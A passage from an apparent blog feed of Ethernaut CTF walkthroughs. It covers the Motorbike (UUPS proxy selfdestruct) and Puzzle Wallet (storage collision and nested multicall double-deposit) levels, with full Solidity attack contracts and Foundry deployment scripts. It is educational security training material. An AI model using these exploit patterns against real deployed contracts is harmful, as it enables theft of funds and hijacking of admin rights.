        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Bicycle</span> </span>{
    IEngine <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> engine;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _engine</span>) </span>{
        engine <span class="hljs-operator">=</span> IEngine(_engine);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-comment">// 1. Initialize the engine contract</span>
        engine.initialize();
        <span class="hljs-comment">// 2. Upgrade the engine contract to a new implementation and kill it</span>
        engine.upgradeToAndCall(
            <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
            <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"Boom()"</span>)
        );
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">boom</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>));
    }
}
</code></pre>
<p>Here is the deployment script for convenience:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Bicycle</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/25_Motorbike.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your Motorbike instance</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> motorbike <span class="hljs-operator">=</span>
        <span class="hljs-number">0x72DDB3C8b89C235a6368DC094066e21AbE8759Cc</span>; 

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        <span class="hljs-keyword">address</span> engineAddress <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(
            <span class="hljs-keyword">uint160</span>(
                <span class="hljs-keyword">uint256</span>(
                    vm.load(
                        motorbike,
                        <span class="hljs-number">0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc</span>
                    )
                )
            )
        );

        console2.log(<span class="hljs-string">"Engine address: "</span>, engineAddress);

        Bicycle bicycle <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Bicycle(engineAddress);
        bicycle.attack();

        vm.stopBroadcast();
    }
}
</code></pre>
<p>You can run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/25_Motorbike.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p>However, you will get this since the Dencun upgrade and won't pass this level:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713921303401/55988947-4c61-4e8f-94fa-7acb68ef5187.png" alt class="image--center mx-auto" /></p>
<p><strong>🎉 Level not completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>UUPS Proxies are better than the older EIP-1967 proxies but must be carefully implemented.</p>
</li>
<li><p>Sensitive functions such as contract upgrades should be protected by access control.</p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 24 - Puzzle Wallet]]></title><description><![CDATA[Goals

The Contract
We are back to the delegatecall caveats with the Puzzle Wallet, which introduces proxy and upgradeable contracts along with their associated vulnerabilities.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimen...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-24-puzzle-wallet</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-24-puzzle-wallet</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Fri, 05 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713866544047/ff718c61-da9e-4d9f-bf23-a04fae091bff.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/24-puzzle-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/24-puzzle-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<p>We are back to the <code>delegatecall</code> caveats with the Puzzle Wallet, which introduces proxy and upgradeable contracts along with their associated vulnerabilities.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">experimental</span> <span class="hljs-built_in">ABIEncoderV2</span>;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"../helpers/UpgradeableProxy-08.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PuzzleProxy</span> <span class="hljs-keyword">is</span> <span class="hljs-title">UpgradeableProxy</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> pendingAdmin;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> _admin,
        <span class="hljs-keyword">address</span> _implementation,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _initData
    </span>) <span class="hljs-title">UpgradeableProxy</span>(<span class="hljs-params">_implementation, _initData</span>) </span>{
        admin <span class="hljs-operator">=</span> _admin;
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyAdmin</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> admin, <span class="hljs-string">"Caller is not the admin"</span>);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">proposeNewAdmin</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _newAdmin</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        pendingAdmin <span class="hljs-operator">=</span> _newAdmin;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">approveNewAdmin</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _expectedAdmin</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyAdmin</span> </span>{
        <span class="hljs-built_in">require</span>(
            pendingAdmin <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _expectedAdmin,
            <span class="hljs-string">"Expected new admin by the current admin is not the pending admin"</span>
        );
        admin <span class="hljs-operator">=</span> pendingAdmin;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgradeTo</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyAdmin</span> </span>{
        _upgradeTo(_newImplementation);
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PuzzleWallet</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> maxBalance;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">bool</span>) <span class="hljs-keyword">public</span> whitelisted;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balances;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _maxBalance</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(maxBalance <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Already initialized"</span>);
        maxBalance <span class="hljs-operator">=</span> _maxBalance;
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyWhitelisted</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(whitelisted[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>], <span class="hljs-string">"Not whitelisted"</span>);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setMaxBalance</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _maxBalance</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Contract balance is not 0"</span>);
        maxBalance <span class="hljs-operator">=</span> _maxBalance;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addToWhitelist</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> addr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner, <span class="hljs-string">"Not the owner"</span>);
        whitelisted[addr] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> maxBalance, <span class="hljs-string">"Max balance reached"</span>);
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">execute</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint256</span> value,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
        <span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> value, <span class="hljs-string">"Insufficient balance"</span>);
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> value;
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> to.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: value}(data);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Execution failed"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">multicall</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
        <span class="hljs-keyword">bool</span> depositCalled <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> data.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _data <span class="hljs-operator">=</span> data[i];
            <span class="hljs-keyword">bytes4</span> selector;
            <span class="hljs-keyword">assembly</span> {
                selector <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(_data, <span class="hljs-number">32</span>))
            }
            <span class="hljs-keyword">if</span> (selector <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">this</span>.deposit.<span class="hljs-built_in">selector</span>) {
                <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>depositCalled, <span class="hljs-string">"Deposit can only be called once"</span>);
                <span class="hljs-comment">// Protect against reusing msg.value</span>
                depositCalled <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
            }
            (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">delegatecall</span>(data[i]);
            <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Error while delegating call"</span>);
        }
    }
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>The PuzzleWallet challenge is a very interesting one that requires us to be familiar with the concepts of upgradeable contracts and proxy contracts. To keep it simple, despite being immutable by nature, there is a way to upgrade a contract by using a proxy contract. The proxy contract stores the address of the implementation contract, and if we want to change the logic, we can simply update the address in the proxy to point to a different implementation contract.</p>
<p>That's why we also need to remember what we have seen in previous challenges about storage collision when using the <code>delegatecall</code> pattern. In order to avoid storage collision, <strong>the storage layout of both contracts must be identical</strong>.</p>
<h3 id="heading-1-become-the-owner-of-the-puzzlewallet-contract">1. Become the owner of the PuzzleWallet contract</h3>
<p>Here we can immediately see that the storage overlaps each other:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PuzzleProxy</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> pendingAdmin; <span class="hljs-comment">// slot 0</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; <span class="hljs-comment">// slot 1</span>
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PuzzleWallet</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner; <span class="hljs-comment">// slot 0</span>
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> maxBalance; <span class="hljs-comment">// slot 1</span>
}
</code></pre>
<p>So our goal here is to find a way to update the <code>PuzzleWallet::maxBalance</code> with our wallet address, which will override the <code>PuzzleProxy::admin</code> address of the proxy contract.</p>
<p>Next, let's check the rest of the contracts. we can see an <code>onlyWhitelisted</code> modifier to the <code>setMaxBalance()</code> function:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyWhitelisted</span> </span>{
    <span class="hljs-built_in">require</span>(whitelisted[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>], <span class="hljs-string">"Not whitelisted"</span>);
    <span class="hljs-keyword">_</span>;
}
</code></pre>
<p>The <code>addToWhitelist()</code> function allows us to add an address to the whitelist, but we need to be the owner of the <code>PuzzleWallet</code> contract to be able to call it.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addToWhitelist</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> addr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner, <span class="hljs-string">"Not the owner"</span>);
    whitelisted[addr] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>Time to remember the overlap in the storage. We could use the <code>proposeNewAdmin()</code> function to update the <code>pendingAdmin</code> address with our wallet address. Thanks to the storage collision, that would make us <code>owner</code> of the <code>PuzzleWallet</code> contract and we would be able to whitelist ourselves. Nice. So we found a way to call the <code>setMaxBalance()</code> function.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setMaxBalance</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _maxBalance</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Contract balance is not 0"</span>);
    maxBalance <span class="hljs-operator">=</span> _maxBalance;
}
</code></pre>
<h3 id="heading-2-drain-the-contract">2. Drain the contract</h3>
<p>While we can call the <code>setMaxBalance()</code> function, we are still stuck because of the <code>require</code> statement, as the contract's balance is not empty. So we have to drain the contract somehow.</p>
<ul>
<li><p>The <code>deposit()</code> function allows us to deposit an amount to our balance.</p>
</li>
<li><p>The <code>execute()</code> function allows us to withdraw an amount from our balance, but it also makes sure that we have enough funds to withdraw:</p>
</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> value, <span class="hljs-string">"Insufficient balance"</span>);
</code></pre>
<p>So how to make the contract believe our deposit was bigger than what we sent? Time to take a better look at the nasty <code>multicall()</code> function...</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">multicall</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
    <span class="hljs-keyword">bool</span> depositCalled <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> data.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _data <span class="hljs-operator">=</span> data[i];
        <span class="hljs-keyword">bytes4</span> selector;
        <span class="hljs-keyword">assembly</span> {
            selector <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(_data, <span class="hljs-number">32</span>))
        }
        <span class="hljs-keyword">if</span> (selector <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">this</span>.deposit.<span class="hljs-built_in">selector</span>) {
            <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>depositCalled, <span class="hljs-string">"Deposit can only be called once"</span>);
            <span class="hljs-comment">// Protect against reusing msg.value</span>
            depositCalled <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        }
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">delegatecall</span>(data[i]);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Error while delegating call"</span>);
    }
}
</code></pre>
<p>This function is <code>payable</code> and allows us to call any function we want, which is good. So we could multicall the <code>deposit()</code> function twice, re-using <code>msg.value</code> for the second call, thanks to how <code>delegatecall</code> works. Unfortunately, the <code>depositCalled</code> boolean prevents exactly this so we can't reenter this function. The <code>deposit()</code> function can only be called once.</p>
<p>But what if we nest a second <code>deposit()</code> call within a second <code>multicall()</code>?</p>
<p>To try to illustrate the idea, that would give something like this:</p>
<blockquote>
<ul>
<li><p>multicall(1):</p>
<blockquote>
<ul>
<li><p>deposit(0.001 ether)</p>
</li>
<li><p>multicall(2):</p>
<blockquote>
<ul>
<li>deposit(0.001 ether)</li>
</ul>
</blockquote>
</li>
</ul>
</blockquote>
</li>
</ul>
</blockquote>
<p>This would effectively bypass the following check <code>selector == this.deposit.selector</code>, and our balance would be <code>0.002 ether</code> while having only sent <code>0.001 ether</code>.</p>
<p>The only thing left is to call the <code>execute()</code> function to withdraw our balance and drain the contract at the same time. And we will finally be able to call the <code>setMaxBalance()</code> function and override the <code>PuzzleProxy::admin</code> address with our wallet address.</p>
<p>Nice hack, right? The nested multicall was a tricky one!</p>
<h2 id="heading-solution">Solution</h2>
<p>Let's implement the attack contract with the following steps:</p>
<ol>
<li><p>Propose our contract as new admin;</p>
</li>
<li><p>Add our contract to the whitelist;</p>
</li>
<li><p>Craft the nested multicall to deposit twice with a single <code>msg.value</code>;</p>
</li>
<li><p>Call the <code>execute()</code> function to drain the contract;</p>
</li>
<li><p>Call the <code>setMaxBalance()</code> with our address to override the admin address.</p>
</li>
</ol>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">experimental</span> <span class="hljs-built_in">ABIEncoderV2</span>;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IPuzzleWallet</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">admin</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">proposeNewAdmin</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _newAdmin</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addToWhitelist</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> addr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">multicall</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">execute</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint256</span> value,
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setMaxBalance</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _maxBalance</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Puzzled</span> </span>{
    IPuzzleWallet <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> puzzleWallet;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _puzzleWallet</span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        puzzleWallet <span class="hljs-operator">=</span> IPuzzleWallet(_puzzleWallet);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">forgetToDeposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Eth transfer failed"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        puzzleWallet.proposeNewAdmin(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        puzzleWallet.addToWhitelist(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));

        <span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">memory</span> deposit_data <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>[](<span class="hljs-number">1</span>);
        deposit_data[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"deposit()"</span>);

        <span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">memory</span> data <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>[](<span class="hljs-number">2</span>);
        data[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> deposit_data[<span class="hljs-number">0</span>];
        data[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"multicall(bytes[])"</span>, deposit_data);
        puzzleWallet.multicall{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>}(data);

        puzzleWallet.execute(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-number">0</span><span class="hljs-number">.002</span> <span class="hljs-literal">ether</span>, <span class="hljs-string">""</span>);
        puzzleWallet.setMaxBalance(<span class="hljs-keyword">uint256</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>)));

        <span class="hljs-built_in">require</span>(puzzleWallet.admin() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-string">"Hack failed!"</span>);
        <span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">payable</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>));
    }
}
</code></pre>
<p>Here is the deployment script:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Puzzled</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/24_PuzzleWallet.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IPuzzleWallet</span> </span>{
